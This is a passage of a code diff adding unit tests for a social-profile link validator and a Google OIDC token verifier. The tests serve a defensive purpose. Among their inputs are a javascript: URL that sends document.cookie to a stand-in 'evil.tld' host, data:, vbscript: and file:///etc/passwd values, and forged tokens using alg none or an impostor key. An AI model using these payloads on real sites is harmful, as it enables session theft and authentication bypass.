ordinary links", () => { + expect(() => + assertSafeSocialLinks({ + github: "https://github.com/ada", + website: "http://ada.example", + }), + ).not.toThrow(); + }); + + it("should accept nothing at all", () => { + expect(() => assertSafeSocialLinks(undefined)).not.toThrow(); + expect(() => assertSafeSocialLinks(null)).not.toThrow(); + expect(() => assertSafeSocialLinks({})).not.toThrow(); + }); + + it("should refuse a script scheme", () => { + // `format: "uri"` in the schema accepts this: RFC 3986 asks for *a* + // scheme and nothing more. A profile is public, and this is the one + // field a client will render as an href without thinking. + expect(() => + assertSafeSocialLinks({ + website: "javascript:fetch('https://evil.tld?t='+document.cookie)", + }), + ).toThrow(BadRequestError); + }); + + it("should refuse other non-web schemes", () => { + for (const value of [ + "data:text/html;base64,PHNjcmlwdD4x", + "vbscript:msgbox(1)", + "file:///etc/passwd", + ]) { + expect(() => assertSafeSocialLinks({ website: value })).toThrow( + BadRequestError, + ); + } + }); + + it("should refuse something that is not a URL at all", () => { + expect(() => assertSafeSocialLinks({ website: "ada.example" })).toThrow( + BadRequestError, + ); + }); + + it("should refuse a key that is not a platform name", () => { + for (const key of ["", "Has Spaces", "1st", "a".repeat(21), ""]) { + expect(() => + assertSafeSocialLinks({ [key]: "https://ada.example" }), + ).toThrow(BadRequestError); + } + }); + + it("should refuse an unbounded pile of links", () => { + const many = Object.fromEntries( + Array.from({ length: 11 }, (_, i) => [ + `site${i}`, + "https://ada.example", + ]), + ); + + expect(() => assertSafeSocialLinks(many)).toThrow(BadRequestError); + }); + + it("should refuse a link longer than the cap", () => { + expect(() => + assertSafeSocialLinks({ + website: `https://ada.example/${"x".repeat(300)}`, + }), + ).toThrow(BadRequestError); + }); +}); diff --git a/tests/unit/infrastructure/billing/google-oidc-verifier.test.ts b/tests/unit/infrastructure/billing/google-oidc-verifier.test.ts new file mode 100644 index 0000000..1fb64d6 --- /dev/null +++ b/tests/unit/infrastructure/billing/google-oidc-verifier.test.ts @@ -0,0 +1,175 @@ +import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; +import { generateKeyPairSync, createSign, randomUUID } from "node:crypto"; +import axios from "axios"; +import { GoogleOidcVerifier } from "@infrastructure/external/billing/play/google-oidc-verifier"; + +const AUDIENCE = "https://api.example/api/v1/billing/play/notifications"; +const SERVICE_ACCOUNT = "play-push@tdn.iam.gserviceaccount.com"; + +const { privateKey, publicKey } = generateKeyPairSync("rsa", { + modulusLength: 2048, +}); + +const KID = randomUUID(); + +/** Google's key set, as the verifier fetches it. */ +const JWKS = { + keys: [ + { + ...(publicKey.export({ format: "jwk" }) as Record), + kid: KID, + alg: "RS256", + use: "sig", + }, + ], +}; + +function base64url(value: object): string { + return Buffer.from(JSON.stringify(value)).toString("base64url"); +} + +/** + * Signs a token the way Google would, so the parts under test are the checks + * rather than the signing. + */ +function sign( + claims: Record, + header: Record = { alg: "RS256", kid: KID }, +): string { + const body = `${base64url(header)}.${base64url(claims)}`; + const signer = createSign("RSA-SHA256"); + + signer.update(body); + signer.end(); + + return `${body}.${signer.sign(privateKey).toString("base64url")}`; +} + +const validClaims = (): Record => ({ + iss: "https://accounts.google.com", + aud: AUDIENCE, + exp: Math.floor(Date.now() / 1000) + 600, + email: SERVICE_ACCOUNT, + email_verified: true, +}); + +describe("GoogleOidcVerifier", () => { + let verifier: GoogleOidcVerifier; + + beforeEach(() => { + vi.spyOn(axios, "get").mockResolvedValue({ data: JWKS }); + + verifier = new GoogleOidcVerifier({ + audience: AUDIENCE, + serviceAccountEmail: SERVICE_ACCOUNT, + }); + }); + + afterEach(() => { + vi.restoreAllMocks(); + }); + + it("should accept a token Google signed for us", async () => { + await expect( + verifier.verify(`Bearer ${sign(validClaims())}`), + ).resolves.toBe(true); + }); + + it("should refuse a token signed by somebody else", async () => { + const impostor = generateKeyPairSync("rsa", { modulusLength: 2048 }); + const body = `${base64url({ alg: "RS256", kid: KID })}.${base64url(validClaims())}`; + const signer = createSign("RSA-SHA256"); + signer.update(body); + signer.end(); + + const forged = `${body}.${signer.sign(impostor.privateKey).toString("base64url")}`; + + await expect(verifier.verify(`Bearer ${forged}`)).resolves.toBe(false); + }); + + it("should refuse an unsigned token", async () => { + // The classic: claim `alg: none` and hope the verifier believes the + // header about how to check the header. + const unsigned = `${base64url({ alg: "none", kid: KID })}.${base64url(validClaims())}.`; + + await expect(verifier.verify(`Bearer ${unsigned}`)).resolves.toBe( + false, + ); + }); + + it("should refuse a token minted for another audience", async () => { + // Anybody with a Google account can mint an identity token; the + // audience is what says it was minted for us. + await expect( + verifier.verify( + `Bearer ${sign({ ...validClaims(), aud: "https://evil.example" })}`, + ), + ).resolves.toBe(false); + }); + + it("should refuse a token from another service account", async () => { + await expect( + verifier.verify( + `Bearer ${sign({ ...validClaims(), email: "someone@else.iam.gserviceaccount.com" })}`, + ), + ).resolves.toBe(false); + }); + + it("should refuse an expired token", async () => { + await expect( + verifier.verify( + `Bearer ${sign({ ...validClaims(), exp: Math.floor(Date.now() / 1000) - 3600 })}`, + ), + ).resolves.toBe(false); + }); + + it("should refuse an issuer that is not Google", async () => { + await expect( + verifier.verify( + `Bearer ${sign({ ...validClaims(), iss: "https://evil.example" })}`, + ), + ).resolves.toBe(false); + }); + + it("should refuse an unverified email claim", async () => { + await expect( + verifier.verify( + `Bearer ${sign({ ...validClaims(), email_verified: false })}`, + ), + ).resolves.toBe(false); + }); + + it("should refuse a key id Google does not publish", async () => { + await expect( + verifier.verify( + `Bearer ${sign(validClaims(), { alg: "RS256", kid: "unknown" })}`, + ), + ).resolves.toBe(false); + }); + + it("should refuse anything that is not a bearer token", async () => { + for (const header of [undefined, "", "Basic abc", "Bearer", "Bearer x"]) { + await expect(verifier.verify(header)).resolves.toBe(false); + } + }); + + it("should verify nothing when it has not been configured", async () => { + // An unconfigured verifier must not accept a token; the endpoint falls + // back to the shared secret instead. + const unconfigured = new GoogleOidcVerifier({ + audience: "", + serviceAccountEmail: "", + }); + + await expect( + unconfigured.verify(`Bearer ${sign(validClaims())}`), + ).resolves.toBe(false); + }); + + it("should reuse the fetched key set", async () => { + await verifier.verify(`Bearer ${sign(validClaims())}`); + await verifier.verify(`Bearer ${sign(validClaims())}`); + + expect(axios.get).toHaveBeenCalledTimes(1); + }); +});